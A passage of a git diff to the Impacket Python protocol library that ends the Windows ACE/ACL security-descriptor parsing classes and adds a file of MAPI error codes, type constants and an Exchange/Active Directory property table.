+https://msdn.microsoft.com/en-us/library/hh877837.aspx
+Structure is identical to ACCESS_ALLOWED_CALLBACK_ACE
+The application data however is encoded in CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1
+format as described in section 2.4.10.1
+Todo: implement this substructure if needed
+"""
+class SYSTEM_RESOURCE_ATTRIBUTE_ACE(ACCESS_ALLOWED_CALLBACK_ACE):
+    ACE_TYPE = 0x12
+
+
+"""
+SYSTEM_SCOPED_POLICY_ID_ACE as described in 2.4.4.16
+https://msdn.microsoft.com/en-us/library/hh877846.aspx
+Structure is identical to ACCESS_ALLOWED_ACE
+The Sid data MUST match a CAPID of a CentralAccessPolicy
+contained in the CentralAccessPoliciesList
+Todo: implement this substructure if needed
+Also the ACCESS_MASK must always be 0
+"""
+class SYSTEM_SCOPED_POLICY_ID_ACE(ACCESS_ALLOWED_ACE):
+    ACE_TYPE = 0x13
+
+# All the ACE types in a list
+ACE_TYPES = [
+    ACCESS_ALLOWED_ACE,
+    ACCESS_ALLOWED_OBJECT_ACE,
+    ACCESS_DENIED_ACE,
+    ACCESS_DENIED_OBJECT_ACE,
+    ACCESS_ALLOWED_CALLBACK_ACE,
+    ACCESS_DENIED_CALLBACK_ACE,
+    ACCESS_ALLOWED_CALLBACK_OBJECT_ACE,
+    ACCESS_DENIED_CALLBACK_OBJECT_ACE,
+    SYSTEM_AUDIT_ACE,
+    SYSTEM_AUDIT_OBJECT_ACE,
+    SYSTEM_AUDIT_CALLBACK_ACE,
+    SYSTEM_MANDATORY_LABEL_ACE,
+    SYSTEM_AUDIT_CALLBACK_OBJECT_ACE,
+    SYSTEM_RESOURCE_ATTRIBUTE_ACE,
+    SYSTEM_SCOPED_POLICY_ID_ACE
+]
+
+# A dict of all the ACE types indexed by their type number
+ACE_TYPE_MAP = {ace.ACE_TYPE: ace for ace in ACE_TYPES}
+
+"""
+ACL as described in 2.4.5
+https://msdn.microsoft.com/en-us/library/cc230297.aspx
+"""
+class ACL(Structure):
+    structure = (
+        ('AclRevision', 'B'),
+        ('Sbz1', 'B'),
+        ('AclSize', '<H'),
+        ('AceCount', '<H'),
+        ('Sbz2', '<H'),
+        # Virtual field to calculate data length from AclSize
+        ('DataLen', '_-Data', 'self["AclSize"]-8'),
+        ('Data', ':'),
+    )
+
+    def fromString(self, data):
+        self.aces = []
+        Structure.fromString(self, data)
+        for i in range(self['AceCount']):
+            # If we don't have any data left, return
+            if len(self['Data']) == 0:
+                raise Exception("ACL header indicated there are more ACLs to unpack, but there is no more data")
+            ace = ACE(data=self['Data'])
+            self.aces.append(ace)
+            self['Data'] = self['Data'][ace['AceSize']:]
+        self['Data'] = self.aces
+
+    def getData(self):
+        self['AceCount'] = len(self.aces)
+        # We modify the data field to be able to use the
+        # parent class parsing
+        self['Data'] = b''.join([ace.getData() for ace in self.aces])
+        self['AclSize'] = len(self['Data'])+8 # Header size (8 bytes) is included
+        data = Structure.getData(self)
+        # Put the ACEs back in data
+        self['Data'] = self.aces
+        return data
+
+"""
+objectClass mapping to GUID for some common classes (index is the ldapDisplayName).
+Reference:
+    https://msdn.microsoft.com/en-us/library/ms680938(v=vs.85).aspx
+Can also be queried from the Schema
+"""
+OBJECTTYPE_GUID_MAP = {
+    b'group': 'bf967a9c-0de6-11d0-a285-00aa003049e2',
+    b'domain': '19195a5a-6da0-11d0-afd3-00c04fd930c9',
+    b'organizationalUnit': 'bf967aa5-0de6-11d0-a285-00aa003049e2',
+    b'user': 'bf967aba-0de6-11d0-a285-00aa003049e2',
+    b'groupPolicyContainer': 'f30e3bc2-9ff0-11d1-b603-0000f80367c1'
+}
diff --git a/impacket/mapi_constants.py b/impacket/mapi_constants.py
new file mode 100644
index 0000000..8df1fdd
--- /dev/null
+++ b/impacket/mapi_constants.py
@@ -0,0 +1,3580 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Authors:
+#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
+#
+# References:
+#   Error codes taken from:
+#   - [MS-OXCDATA] http://www.eventid.net/display-eventid-2115-source-MSExchangeDSAccess-eventno-4469-phase-1.htm
+#   MAPI properties taken from:
+#   - https://gist.github.com/mohemiv/76c265ac92ca026a10b7756899b5f8d5 (MIT)
+#
+
+ERROR_MESSAGES = {
+        0x80004002: ("MAPI_E_INTERFACE_NO_SUPPORT"),
+        0x80004005: ("MAPI_E_CALL_FAILED"),
+        0x80040102: ("MAPI_E_NO_SUPPORT"),
+        0x80040103: ("MAPI_E_BAD_CHARWIDTH"),
+        0x80040105: ("MAPI_E_STRING_TOO_LONG"),
+        0x80040106: ("MAPI_E_UNKNOWN_FLAGS"),
+        0x80040107: ("MAPI_E_INVALID_ENTRYID"),
+        0x80040108: ("MAPI_E_INVALID_OBJECT"),
+        0x80040109: ("MAPI_E_OBJECT_CHANGED"),
+        0x8004010A: ("MAPI_E_OBJECT_DELETED"),
+        0x8004010B: ("MAPI_E_BUSY"),
+        0x8004010D: ("MAPI_E_NOT_ENOUGH_DISK"),
+        0x8004010E: ("MAPI_E_NOT_ENOUGH_RESOURCES"),
+        0x8004010F: ("MAPI_E_NOT_FOUND"),
+        0x80040110: ("MAPI_E_VERSION"),
+        0x80040111: ("MAPI_E_LOGON_FAILED"),
+        0x80040112: ("MAPI_E_SESSION_LIMIT"),
+        0x80040113: ("MAPI_E_USER_CANCEL"),
+        0x80040114: ("MAPI_E_UNABLE_TO_ABORT"),
+        0x80040115: ("MAPI_E_NETWORK_ERROR"),
+        0x80040116: ("MAPI_E_DISK_ERROR"),
+        0x80040117: ("MAPI_E_TOO_COMPLEX"),
+        0x80040118: ("MAPI_E_BAD_COLUMN"),
+        0x80040119: ("MAPI_E_EXTENDED_ERROR"),
+        0x8004011A: ("MAPI_E_COMPUTED"),
+        0x8004011B: ("MAPI_E_CORRUPT_DATA"),
+        0x8004011C: ("MAPI_E_UNCONFIGURED"),
+        0x8004011D: ("MAPI_E_FAILONEPROVIDER"),
+        0x8004011E: ("MAPI_E_UNKNOWN_CPID"),
+        0x8004011F: ("MAPI_E_UNKNOWN_LCID"),
+        0x80040120: ("MAPI_E_PASSWORD_CHANGE_REQUIRED"),
+        0x80040121: ("MAPI_E_PASSWORD_EXPIRED"),
+        0x80040122: ("MAPI_E_INVALID_WORKSTATION_ACCOUNT"),
+        0x80040123: ("MAPI_E_INVALID_ACCESS_TIME"),
+        0x80040124: ("MAPI_E_ACCOUNT_DISABLED"),
+        0x80040200: ("MAPI_E_END_OF_SESSION"),
+        0x80040201: ("MAPI_E_UNKNOWN_ENTRYID"),
+        0x80040202: ("MAPI_E_MISSING_REQUIRED_COLUMN"),
+        0x00040203: ("MAPI_W_NO_SERVICE"),
+        0x80040301: ("MAPI_E_BAD_VALUE"),
+        0x80040302: ("MAPI_E_INVALID_TYPE"),
+        0x80040303: ("MAPI_E_TYPE_NO_SUPPORT"),
+        0x80040304: ("MAPI_E_UNEXPECTED_TYPE"),
+        0x80040305: ("MAPI_E_TOO_BIG"),
+        0x80040306: ("MAPI_E_DECLINE_COPY"),
+        0x80040307: ("MAPI_E_UNEXPECTED_ID"),
+        0x00040380: ("MAPI_W_ERRORS_RETURNED"),
+        0x80040400: ("MAPI_E_UNABLE_TO_COMPLETE"),
+        0x80040401: ("MAPI_E_TIMEOUT"),
+        0x80040402: ("MAPI_E_TABLE_EMPTY"),
+        0x80040403: ("MAPI_E_TABLE_TOO_BIG"),
+        0x80040405: ("MAPI_E_INVALID_BOOKMARK"),
+        0x00040481: ("MAPI_W_POSITION_CHANGED"),
+        0x00040482: ("MAPI_W_APPROX_COUNT"),
+        0x80040500: ("MAPI_E_WAIT"),
+        0x80040501: ("MAPI_E_CANCEL"),
+        0x80040502: ("MAPI_E_NOT_ME"),
+        0x00040580: ("MAPI_W_CANCEL_MESSAGE"),
+        0x80040600: ("MAPI_E_CORRUPT_STORE"),
+        0x80040601: ("MAPI_E_NOT_IN_QUEUE"),
+        0x80040602: ("MAPI_E_NO_SUPPRESS"),
+        0x80040604: ("MAPI_E_COLLISION"),
+        0x80040605: ("MAPI_E_NOT_INITIALIZED"),
+        0x80040606: ("MAPI_E_NON_STANDARD"),
+        0x80040607: ("MAPI_E_NO_RECIPIENTS"),
+        0x80040608: ("MAPI_E_SUBMITTED"),
+        0x80040609: ("MAPI_E_HAS_FOLDERS"),
+        0x8004060A: ("MAPI_E_HAS_MESAGES"),
+        0x8004060B: ("MAPI_E_FOLDER_CYCLE"),
+        0x8004060D: ("MAPI_E_LOCKID_LIMIT"),
+        0x00040680: ("MAPI_W_PARTIAL_COMPLETION"),
+        0x80040700: ("MAPI_E_AMBIGUOUS_RECIP"),
+        0x80040800: ("SYNC_E_OBJECT_DELETED"),
+        0x80040801: ("SYNC_E_IGNORE"),
+        0x80040802: ("SYNC_E_CONFLICT"),
+        0x80040803: ("SYNC_E_NO_PARENT"),
+        0x80040804: ("SYNC_E_CYCLE_DETECTED"),
+        0x80040805: ("SYNC_E_UNSYNCHRONIZED"),
+        0x00040820: ("SYNC_W_PROGRESS"),
+        0x00040821: ("SYNC_W_CLIENT_CHANGE_NEWER"),
+        0x80040900: ("MAPI_E_NAMED_PROP_QUOTA_EXCEEDED"),
+        0x80040FFF: ("MAPI_E_NOT_IMPLEMENTED"),
+        0x80070005: ("MAPI_E_NO_ACCESS"),
+        0x8007000E: ("MAPI_E_NOT_ENOUGH_MEMORY"),
+        0x80070057: ("MAPI_E_INVALID_PARAMETER"),
+
+        0x80040920: ("LDAP_NO_SUCH_OBJECT"),
+        0x80040951: ("LDAP_SERVER_DOWN"),
+        0x80040952: ("LDAP_LOCAL_ERROR"),
+}
+
+MAPI_E_INTERFACE_NO_SUPPORT               = 0x80004002
+MAPI_E_CALL_FAILED                        = 0x80004005
+MAPI_E_NO_SUPPORT                         = 0x80040102
+MAPI_E_BAD_CHARWIDTH                      = 0x80040103
+MAPI_E_STRING_TOO_LONG                    = 0x80040105
+MAPI_E_UNKNOWN_FLAGS                      = 0x80040106
+MAPI_E_INVALID_ENTRYID                    = 0x80040107
+MAPI_E_INVALID_OBJECT                     = 0x80040108
+MAPI_E_OBJECT_CHANGED                     = 0x80040109
+MAPI_E_OBJECT_DELETED                     = 0x8004010A
+MAPI_E_BUSY                               = 0x8004010B
+MAPI_E_NOT_ENOUGH_DISK                    = 0x8004010D
+MAPI_E_NOT_ENOUGH_RESOURCES               = 0x8004010E
+MAPI_E_NOT_FOUND                          = 0x8004010F
+MAPI_E_VERSION                            = 0x80040110
+MAPI_E_LOGON_FAILED                       = 0x80040111
+MAPI_E_SESSION_LIMIT                      = 0x80040112
+MAPI_E_USER_CANCEL                        = 0x80040113
+MAPI_E_UNABLE_TO_ABORT                    = 0x80040114
+MAPI_E_NETWORK_ERROR                      = 0x80040115
+MAPI_E_DISK_ERROR                         = 0x80040116
+MAPI_E_TOO_COMPLEX                        = 0x80040117
+MAPI_E_BAD_COLUMN                         = 0x80040118
+MAPI_E_EXTENDED_ERROR                     = 0x80040119
+MAPI_E_COMPUTED                           = 0x8004011A
+MAPI_E_CORRUPT_DATA                       = 0x8004011B
+MAPI_E_UNCONFIGURED                       = 0x8004011C
+MAPI_E_FAILONEPROVIDER                    = 0x8004011D
+MAPI_E_UNKNOWN_CPID                       = 0x8004011E
+MAPI_E_UNKNOWN_LCID                       = 0x8004011F
+MAPI_E_PASSWORD_CHANGE_REQUIRED           = 0x80040120
+MAPI_E_PASSWORD_EXPIRED                   = 0x80040121
+MAPI_E_INVALID_WORKSTATION_ACCOUNT        = 0x80040122
+MAPI_E_INVALID_ACCESS_TIME                = 0x80040123
+MAPI_E_ACCOUNT_DISABLED                   = 0x80040124
+MAPI_E_END_OF_SESSION                     = 0x80040200
+MAPI_E_UNKNOWN_ENTRYID                    = 0x80040201
+MAPI_E_MISSING_REQUIRED_COLUMN            = 0x80040202
+MAPI_W_NO_SERVICE                         = 0x00040203
+MAPI_E_BAD_VALUE                          = 0x80040301
+MAPI_E_INVALID_TYPE                       = 0x80040302
+MAPI_E_TYPE_NO_SUPPORT                    = 0x80040303
+MAPI_E_UNEXPECTED_TYPE                    = 0x80040304
+MAPI_E_TOO_BIG                            = 0x80040305
+MAPI_E_DECLINE_COPY                       = 0x80040306
+MAPI_E_UNEXPECTED_ID                      = 0x80040307
+MAPI_W_ERRORS_RETURNED                    = 0x00040380
+MAPI_E_UNABLE_TO_COMPLETE                 = 0x80040400
+MAPI_E_TIMEOUT                            = 0x80040401
+MAPI_E_TABLE_EMPTY                        = 0x80040402
+MAPI_E_TABLE_TOO_BIG                      = 0x80040403
+MAPI_E_INVALID_BOOKMARK                   = 0x80040405
+MAPI_W_POSITION_CHANGED                   = 0x00040481
+MAPI_W_APPROX_COUNT                       = 0x00040482
+MAPI_E_WAIT                               = 0x80040500
+MAPI_E_CANCEL                             = 0x80040501
+MAPI_E_NOT_ME                             = 0x80040502
+MAPI_W_CANCEL_MESSAGE                     = 0x00040580
+MAPI_E_CORRUPT_STORE                      = 0x80040600
+MAPI_E_NOT_IN_QUEUE                       = 0x80040601
+MAPI_E_NO_SUPPRESS                        = 0x80040602
+MAPI_E_COLLISION                          = 0x80040604
+MAPI_E_NOT_INITIALIZED                    = 0x80040605
+MAPI_E_NON_STANDARD                       = 0x80040606
+MAPI_E_NO_RECIPIENTS                      = 0x80040607
+MAPI_E_SUBMITTED                          = 0x80040608
+MAPI_E_HAS_FOLDERS                        = 0x80040609
+MAPI_E_HAS_MESAGES                        = 0x8004060A
+MAPI_E_FOLDER_CYCLE                       = 0x8004060B
+MAPI_E_LOCKID_LIMIT                       = 0x8004060D
+MAPI_W_PARTIAL_COMPLETION                 = 0x00040680
+MAPI_E_AMBIGUOUS_RECIP                    = 0x80040700
+SYNC_E_OBJECT_DELETED                     = 0x80040800
+SYNC_E_IGNORE                             = 0x80040801
+SYNC_E_CONFLICT                           = 0x80040802
+SYNC_E_NO_PARENT                          = 0x80040803
+SYNC_E_CYCLE_DETECTED                     = 0x80040804
+SYNC_E_UNSYNCHRONIZED                     = 0x80040805
+SYNC_W_PROGRESS                           = 0x00040820
+SYNC_W_CLIENT_CHANGE_NEWER                = 0x00040821
+MAPI_E_NAMED_PROP_QUOTA_EXCEEDED          = 0x80040900
+MAPI_E_NOT_IMPLEMENTED                    = 0x80040FFF
+MAPI_E_NO_ACCESS                          = 0x80070005
+MAPI_E_NOT_ENOUGH_MEMORY                  = 0x8007000E
+MAPI_E_INVALID_PARAMETER                  = 0x80070057
+
+LDAP_NO_SUCH_OBJECT                       = 0x80040920
+LDAP_SERVER_DOWN                          = 0x80040951
+LDAP_LOCAL_ERROR                          = 0x80040952
+
+
+# PR_DISPLAY_TYPE
+# For address book contents tables
+DT_MAILUSER         = 0x00000000
+DT_DISTLIST         = 0x00000001
+DT_FORUM            = 0x00000002
+DT_AGENT            = 0x00000003
+DT_ORGANIZATION     = 0x00000004
+DT_PRIVATE_DISTLIST = 0x00000005
+DT_REMOTE_MAILUSER  = 0x00000006
+# For address book hierarchy tables
+DT_MODIFIABLE       = 0x00010000
+DT_GLOBAL           = 0x00020000
+DT_LOCAL            = 0x00030000
+DT_WAN              = 0x00040000
+DT_NOT_SPECIFIC     = 0x00050000
+# For folder hierarchy tables *
+DT_FOLDER           = 0x01000000
+DT_FOLDER_LINK      = 0x02000000
+DT_FOLDER_SPECIAL   = 0x04000000
+
+PR_DISPLAY_TYPE_VALUES = {
+        0x00000000: "DT_MAILUSER",
+        0x00000001: "DT_DISTLIST",
+        0x00000002: "DT_FORUM",
+        0x00000003: "DT_AGENT",
+        0x00000004: "DT_ORGANIZATION",
+        0x00000005: "DT_PRIVATE_DISTLIST",
+        0x00000006: "DT_REMOTE_MAILUSER",
+        0x00010000: "DT_MODIFIABLE",
+        0x00020000: "DT_GLOBAL",
+        0x00030000: "DT_LOCAL",
+        0x00040000: "DT_WAN",
+        0x00050000: "DT_NOT_SPECIFIC",
+        0x01000000: "DT_FOLDER",
+        0x02000000: "DT_FOLDER_LINK",
+        0x04000000: "DT_FOLDER_SPECIAL"
+}
+
+# PR_OBJECT_TYPE
+MAPI_STORE    = 0x1
+MAPI_ADDRBOOK = 0x2
+MAPI_FOLDER   = 0x3
+MAPI_ABCONT   = 0x4
+MAPI_MESSAGE  = 0x5
+MAPI_MAILUSER = 0x6
+MAPI_ATTACH   = 0x7
+MAPI_DISTLIST = 0x8
+MAPI_PROFSECT = 0x9
+MAPI_STATUS   = 0xA
+MAPI_SESSION  = 0xB
+MAPI_FORMINFO = 0xC
+
+PR_OBJECT_TYPE_VALUES = {
+        0x1: "MAPI_STORE",
+        0x2: "MAPI_ADDRBOOK",
+        0x3: "MAPI_FOLDER",
+        0x4: "MAPI_ABCONT",
+        0x5: "MAPI_MESSAGE",
+        0x6: "MAPI_MAILUSER",
+        0x7: "MAPI_ATTACH",
+        0x8: "MAPI_DISTLIST",
+        0x9: "MAPI_PROFSECT",
+        0xA: "MAPI_STATUS",
+        0xB: "MAPI_SESSION",
+        0xC: "MAPI_FORMINFO"
+}
+
+# PR_CONTAINER_FLAGS
+AB_RECIPIENTS    = 0x00000001
+AB_SUBCONTAINERS = 0x00000002
+AB_MODIFIABLE    = 0x00000004
+AB_UNMODIFIABLE  = 0x00000008
+AB_FIND_ON_OPEN  = 0x00000010
+AB_NOT_DEFAULT   = 0x00000020
+AB_CONF_ROOMS    = 0x00000200
+
+PR_CONTAINER_FLAGS_VALUES = {
+        0x00000001: "AB_RECIPIENTS",
+        0x00000002: "AB_SUBCONTAINERS",
+        0x00000004: "AB_MODIFIABLE",
+        0x00000008: "AB_UNMODIFIABLE",
+        0x00000010: "AB_FIND_ON_OPEN",
+        0x00000020: "AB_NOT_DEFAULT",
+        0x00000200: "AB_CONF_ROOMS"
+}
+
+MAPI_PROPERTIES  = {
+        # Field_1: (Field_2, Field_3, Field_4, Field_5, Field_6, Field_7, Field_8),
+        # 
+        # Field_1 is PropertyId
+        # Field_2 is PropertyType (unicode when possible)
+        # Field_3 is Active Directory LDAP-Display-Name
+        # Field_4 is Active Directory CN
+        # Field_5:
+        #     1 when Is-Member-Of-Partial-Attribute-Set is TRUE
+        #     2 when Is-Member-Of-Partial-Attribute-Set is FALSE
+        #     3 when Is-Member-Of-Partial-Attribute-Set does not exist
+        #     4 when it's not an Active Directory property
+        #
+        # Field_6 is MS-OXPROPS Canonical Name
+        # Field_7 is MS-OXPROPS First Alternate Name (usually the shortest one which starts from PR_)
+        # Field_8 is internal Exchange name
+        0x0806: (0x101f, "msExchResourceSearchProperties", "ms-Exch-Resource-Search-Properties", 1, None, None, None),
+        0x0807: (0x0003, "msExchResourceCapacity", "ms-Exch-Resource-Capacity", 1, "PidTagAddressBookRoomCapacity", "PR_EMS_AB_ROOM_CAPACITY", None),
+        0x0808: (0x101f, "msExchResourceMetaData", "ms-Exch-Resource-Meta-Data", 1, None, None, None),
+        0x0809: (0x001f, "msExchResourceDisplay", "ms-Exch-Resource-Display", 1, "PidTagAddressBookRoomDescription", "PR_EMS_AB_ROOM_DESCRIPTION", None),
+        0x3004: (0x001f, "info", "Comment", 1, "PidTagComment", "PR_COMMENT", "Comment"),
+        0x3007: (0x0040, "whenCreated", "When-Created", 1, "PidTagCreationTime", "PR_CREATION_TIME", "CreationTime"),
+        0x3008: (0x0040, "whenChanged", "When-Changed", 1, "PidTagLastModificationTime", "PR_LAST_MODIFICATION_TIME", "LastModificationTime"),
+        0x3905: (0x0003, "msExchRecipientDisplayType", "ms-Exch-Recipient-Display-Type", 1, "PidTagDisplayTypeEx", "PR_DISPLAY_TYPE_EX", "DisplayTypeEx"),
+        0x39fe: (0x001f, "mail", "E-mail-Addresses", 1, "PidTagSmtpAddress", "PR_SMTP_ADDRESS", "SmtpAddress"),
+        0x39ff: (0x001f, "displayNamePrintable", "Display-Name-Printable", 1, "PidTagAddressBookDisplayNamePrintable", "PR_EMS_AB_DISPLAY_NAME_PRINTABLE", "SimpleDisplayName"),
+        0x3a00: (0x001f, "mailNickname", "ms-Exch-Mail-Nickname", 1, "PidTagAccount", "PR_ACCOUNT", "Account"),
+        0x3a06: (0x001f, "givenName", "Given-Name", 1, "PidTagGivenName", "PR_GIVEN_NAME", "GivenName"),
+        0x3a08: (0x001f, "telephoneNumber", "Telephone-Number", 1, "PidTagBusinessTelephoneNumber", "PR_BUSINESS_TELEPHONE_NUMBER", "BusinessTelephoneNumber"),
+        0x3a09: (0x001f, "homePhone", "Phone-Home-Primary", 1, "PidTagHomeTelephoneNumber", "PR_HOME_TELEPHONE_NUMBER", "HomeTelephoneNumber"),
+        0x3a0a: (0x001f, "initials", "Initials", 1, "PidTagInitials", "PR_INITIALS", "Initials"),
+        0x3a0f: (0x001f, "cn", "Common-Name", 1, "PidTagMessageHandlingSystemCommonName", "PR_MHS_COMMON_NAME", "MhsCommonName"),
+        0x3a11: (0x001f, "sn", "Surname", 1, "PidTagSurname", "PR_SURNAME", "Surname"),
+        0x3a16: (0x001f, "company", "Company", 1, "PidTagCompanyName", "PR_COMPANY_NAME", "CompanyName"),
+        0x3a17: (0x001f, "title", "Title", 1, "PidTagTitle", "PR_TITLE", "Title"),
+        0x3a18: (0x001f, "department", "Department", 1, "PidTagDepartmentName", "PR_DEPARTMENT_NAME", "DepartmentName"),
+        0x3a19: (0x001f, "physicalDeliveryOfficeName", "Physical-Delivery-Office-Name", 1, "PidTagOfficeLocation", "PR_OFFICE_LOCATION", "OfficeLocation"),
+        0x3a1b: (0x101f, "otherTelephone", "Phone-Office-Other", 1, "PidTagBusiness2TelephoneNumbers", "PR_BUSINESS2_TELEPHONE_NUMBER_A_MV", "Business2TelephoneNumber"),
+        0x3a1c: (0x001f, "mobile", "Phone-Mobile-Primary", 1, "PidTagMobileTelephoneNumber", "PR_MOBILE_TELEPHONE_NUMBER", "MobileTelephoneNumber"),
+        0x3a21: (0x001f, "pager", "Phone-Pager-Primary", 1, "PidTagPagerTelephoneNumber", "PR_PAGER_TELEPHONE_NUMBER", "PagerTelephoneNumber"),
+        0x3a22: (0x0102, "userCert", "User-Cert", 1, "PidTagUserCertificate", "PR_USER_CERTIFICATE", "UserCertificate"),
+        0x3a23: (0x001f, "facsimileTelephoneNumber", "Facsimile-Telephone-Number", 1, "PidTagPrimaryFaxNumber", "PR_PRIMARY_FAX_NUMBER", "PrimaryFaxNumber"),
+        0x3a26: (0x001f, "co", "Text-Country", 1, "PidTagCountry", "PR_COUNTRY", "Country"),
+        0x3a27: (0x001f, "l", "Locality-Name", 1, "PidTagLocality", "PR_LOCALITY", "Locality"),
+        0x3a28: (0x001f, "st", "State-Or-Province-Name", 1, "PidTagStateOrProvince", "PR_STATE_OR_PROVINCE", "StateOrProvince"),
+        0x3a29: (0x001f, "streetAddress", "Address", 1, "PidTagStreetAddress", "PR_STREET_ADDRESS", "StreetAddress"),
+        0x3a2a: (0x001f, "postalCode", "Postal-Code", 1, "PidTagPostalCode", "PR_POSTAL_CODE", "PostalCode"),
+        0x3a2b: (0x101f, "postOfficeBox", "Post-Office-Box", 1, "PidTagPostOfficeBox", "PR_POST_OFFICE_BOX", "PostOfficeBox"),
+        0x3a2c: (0x1102, "telexNumber", "Telex-Number", 3, "PidTagTelexNumber", "PR_TELEX_NUMBER", "TelexNumber"),
+        0x3a2e: (0x001f, "telephoneAssistant", "ms-Exch-Telephone-Assistant", 1, "PidTagAssistantTelephoneNumber", "PR_ASSISTANT_TELEPHONE_NUMBER", "AssistantTelephoneNumber"),
+        0x3a2f: (0x101f, "otherHomePhone", "Phone-Home-Other", 1, "PidTagHome2TelephoneNumbers", "PR_HOME2_TELEPHONE_NUMBER_A_MV", "Home2TelephoneNumber"),
+        0x3a30: (0x001f, "msExchAssistantName", "ms-Exch-Assistant-Name", 1, "PidTagAssistant", "PR_ASSISTANT", "Assistant"),
+        0x3a40: (0x000b, "mAPIRecipient", "ms-Exch-MAPI-Recipient", 1, "PidTagSendRichInfo", "PR_SEND_RICH_INFO", "SendRichInfo"),
+        0x3a5d: (0x001f, "homePostalAddress", "Address-Home", 1, "PidTagHomeAddressStreet", "PR_HOME_ADDRESS_STREET", "HomeAddressStreet"),
+        0x3a70: (0x1102, "userSMIMECertificate", "User-SMIME-Certificate", 1, "PidTagUserX509Certificate", "PR_USER_X509_CERTIFICATE", "UserSMimeCertificate"),
+        0x3a71: (0x0003, "internetEncoding", "ms-Exch-Internet-Encoding", 1, "PidTagSendInternetEncoding", "PR_SEND_INTERNET_ENCODING", "SendInternetEncoding"),
+        0x8003: (0x1102, "cACertificate", "CA-Certificate", 1, None, None, None),
+        0x8004: (0x001f, "folderPathname", "ms-Exch-Folder-Pathname", 1, "PidTagAddressBookFolderPathname", "PR_EMS_AB_FOLDER_PATHNAME", None),
+        0x8005: (0x000d, "manager", "Manager", 1, "PidTagAddressBookManagerDistinguishedName", "PR_EMS_AB_MANAGER_T", None),
+        0x8006: (0x000d, "homeMDB", "ms-Exch-Home-MDB", 1, "PidTagAddressBookHomeMessageDatabase", "PR_EMS_AB_HOME_MDB", "HomeMdb"),
+        0x8007: (0x001f, "homeMTA", "ms-Exch-Home-MTA", 1, "PidLidContactItemData", "dispidContactItemData", None),
+        0x8008: (0x000d, "memberOf", "Is-Member-Of-DL", 3, "PidTagAddressBookIsMemberOfDistributionList", "PR_EMS_AB_IS_MEMBER_OF_DL", "MemberOf"),
+        0x8009: (0x000d, "member", "Member", 1, "PidTagAddressBookMember", "PR_EMS_AB_MEMBER", "Members"),
+        0x800a: (0x001f, "autoReplyMessage", "ms-Exch-AutoReply-Message", 2, None, None, None),
+        0x800b: (0x000b, "autoReply", "ms-Exch-AutoReply", 1, None, None, None),
+        0x800c: (0x000d, "managedBy", "Managed-By", 1, "PidTagAddressBookOwner", "PR_EMS_AB_OWNER_O", "ManagedBy"),
+        0x800d: (0x001f, "kMServer", "ms-Exch-KM-Server", 2, None, None, None),
+        0x800e: (0x000d, "directReports", "Reports", 3, "PidTagAddressBookReports", "PR_EMS_AB_REPORTS", None),
+        0x800f: (0x101f, "proxyAddresses", "Proxy-Addresses", 1, "PidTagAddressBookProxyAddresses", "PR_EMS_AB_PROXY_ADDRESSES", "ProxyAddresses"),
+        0x8010: (0x0102, "helpData32", "Help-Data32", 3, "PidLidDepartment", "dispidDepartment", "TemplateInfoHelpFileContents"),
+        0x8011: (0x001f, "targetAddress", "ms-Exch-Target-Address", 1, "PidTagAddressBookTargetAddress", "PR_EMS_AB_TARGET_ADDRESS", None),
+        0x8014: (0x000d, "homeMDBBL", "ms-Exch-Home-MDB-BL", 1, None, None, None),
+        0x8015: (0x000d, "publicDelegates", "ms-Exch-Public-Delegates", 1, "PidTagAddressBookPublicDelegates", "PR_EMS_AB_PUBLIC_DELEGATES", "GrantSendOnBehalfTo"),
+        0x8016: (0x0102, "certificateRevocationList", "Certificate-Revocation-List", 3, None, None, None),
+        0x8017: (0x0102, "addressEntryDisplayTable", "Address-Entry-Display-Table", 3, None, None, "TemplateInfoTemplate"),
+        0x8018: (0x0102, "addressSyntax", "Address-Syntax", 3, None, None, "TemplateInfoScript"),
+        0x8023: (0x0102, "businessRoles", "ms-Exch-Business-Roles", 2, "PidLidContactCharacterSet", "dispidContactCharSet", None),
+        0x8024: (0x000d, "managedObjects", "Managed-Objects", 3, "PidTagAddressBookOwnerBackLink", "PR_EMS_AB_OWNER_BL_O", None),
+        0x8025: (0x1102, "crossCertificatePair", "Cross-Certificate-Pair", 3, "PidLidAutoLog", "dispidAutoLog", None),
+        0x8026: (0x1102, "authorityRevocationList", "Authority-Revocation-List", 3, "PidLidFileUnderList", "dispidFileUnderList", None),
+        0x8027: (0x0102, "objectSid", "Object-Sid", 1, None, None, None),
+        0x8028: (0x0040, "expirationTime", "ms-Exch-Expiration-Time", 2, "PidLidAddressBookProviderEmailList", "dispidABPEmailList", None),
+        0x8029: (0x0003, "uSNChanged", "USN-Changed", 1, "PidLidAddressBookProviderArrayType", "dispidABPArrayType", None),
+        0x802d: (0x001f, "extensionAttribute1", "ms-Exch-Extension-Attribute-1", 1, "PidTagAddressBookExtensionAttribute1", "PR_EMS_AB_EXTENSION_ATTRIBUTE_1", None),
+        0x802e: (0x001f, "extensionAttribute2", "ms-Exch-Extension-Attribute-2", 1, "PidTagAddressBookExtensionAttribute2", "PR_EMS_AB_EXTENSION_ATTRIBUTE_2", None),
+        0x802f: (0x001f, "extensionAttribute3", "ms-Exch-Extension-Attribute-3", 1, "PidTagAddressBookExtensionAttribute3", "PR_EMS_AB_EXTENSION_ATTRIBUTE_3", None),
+        0x8030: (0x001f, "extensionAttribute4", "ms-Exch-Extension-Attribute-4", 1, "PidTagAddressBookExtensionAttribute4", "PR_EMS_AB_EXTENSION_ATTRIBUTE_4", None),
+        0x8031: (0x001f, "extensionAttribute5", "ms-Exch-Extension-Attribute-5", 1, "PidTagAddressBookExtensionAttribute5", "PR_EMS_AB_EXTENSION_ATTRIBUTE_5", None),
+        0x8032: (0x001f, "extensionAttribute6", "ms-Exch-Extension-Attribute-6", 1, "PidTagAddressBookExtensionAttribute6", "PR_EMS_AB_EXTENSION_ATTRIBUTE_6", None),
+        0x8033: (0x001f, "extensionAttribute7", "ms-Exch-Extension-Attribute-7", 1, "PidTagAddressBookExtensionAttribute7", "PR_EMS_AB_EXTENSION_ATTRIBUTE_7", None),
+        0x8034: (0x001f, "extensionAttribute8", "ms-Exch-Extension-Attribute-8", 1, "PidTagAddressBookExtensionAttribute8", "PR_EMS_AB_EXTENSION_ATTRIBUTE_8", None),
